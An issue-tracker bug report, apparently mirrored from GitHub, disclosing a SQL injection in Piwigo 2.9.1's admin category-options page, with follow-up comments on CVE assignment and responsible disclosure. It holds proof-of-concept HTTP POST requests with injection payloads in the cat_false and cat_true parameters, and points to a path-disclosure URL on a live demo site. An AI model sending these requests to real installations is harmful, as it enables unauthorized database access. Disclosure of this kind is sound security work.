Bug Report: SQL injection in page cat_options #669

Closed
opened 2026-10-05 00:10:30 +02:00 by adam · 4 comments
Owner

Proof-of-Concent

version:2.9.1

section status

POST /piwigo/admin.php?page=cat_options&section=status HTTP/1.1
Host: www.test.com
Content-Length: 34
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=status
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080
Connection: close

cat_false%5B%5D=755&trueify=%C2%AB

image

image

section commnets

POST /piwigo/admin.php?page=cat_options&section=comments HTTP/1.1
Host: www.test.com
Content-Length: 33
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=comments
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080
Connection: close

cat_true%5B%5D=7*55&falsify=%C2%BB

image

Report By Topsec(Li Zhiqiang)

# Proof-of-Concent `version:2.9.1` ## section status ``` POST /piwigo/admin.php?page=cat_options&section=status HTTP/1.1 Host: www.test.com Content-Length: 34 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://www.test.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=status Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080 Connection: close cat_false%5B%5D=755&trueify=%C2%AB ``` ![image](https://user-images.githubusercontent.com/16974004/27671433-44ba322c-5cc6-11e7-9999-4c337c094536.png) ![image](https://user-images.githubusercontent.com/16974004/27671436-492c093e-5cc6-11e7-828b-ec1948902882.png) ## section commnets ``` POST /piwigo/admin.php?page=cat_options&section=comments HTTP/1.1 Host: www.test.com Content-Length: 33 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://www.test.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=comments Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080 Connection: close cat_true%5B%5D=7*55&falsify=%C2%BB ``` ![image](https://user-images.githubusercontent.com/16974004/27671587-42ec3430-5cc7-11e7-861b-b6da9ada9153.png) ### Report By Topsec(Li Zhiqiang) <!-- github-sync-id:239368435 -->
adam closed this issue 2026-10-05 00:10:30 +02:00
Author
Owner

Thank you you are still not using of the contact form or emails :/

Thank you you are still not using of the contact form or emails :/ <!-- github-comment-id:311915486 -->
Author
Owner

@flop25 sorry for that and this one probably the last one bug report to piwigo :(
I just want CVE Assignment Team to know the details ,and they will verify this issue whether a bug or no't.
because there also an argument about a bug or no't a bug between Security researcher and Programmer.

In addition there is a infomation leak about system root path when requesting URL:
http://piwigo.org/demo/feed.php?feed=*
check_input_parameter /home/sys/var/www/piwigo.org/demo/feed.php(64)

@flop25 sorry for that and this one probably the last one bug report to piwigo :( I just want CVE Assignment Team to know the details ,and they will verify this issue whether a bug or no't. because there also an argument about a bug or no't a bug between Security researcher and Programmer. In addition there is a infomation leak about system root path when requesting URL: http://piwigo.org/demo/feed.php?feed=* check_input_parameter /home/sys/var/www/piwigo.org/demo/feed.php(64) <!-- github-comment-id:311923089 -->
Author
Owner

CVE-2017-10682 has been assigned for this issue.

CVE-2017-10682 has been assigned for this issue. <!-- github-comment-id:312419103 -->
Author
Owner

@Akityo You can request CVEs without publishing the details in public issue tracker. You can use https://cveform.mitre.org/ and reveal only the needed details. The CVE description can be updated after the CVE assigment if the issue is so critical that you don't want to reveal the info to MITRE before fix. If you need any help or more information feel free to contact me.

@Akityo You can request CVEs without publishing the details in public issue tracker. You can use https://cveform.mitre.org/ and reveal only the needed details. The CVE description can be updated after the CVE assigment if the issue is so critical that you don't want to reveal the info to MITRE before fix. If you need any help or more information feel free to contact me. <!-- github-comment-id:334921485 -->
Sign in to join this conversation.
No labels
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#669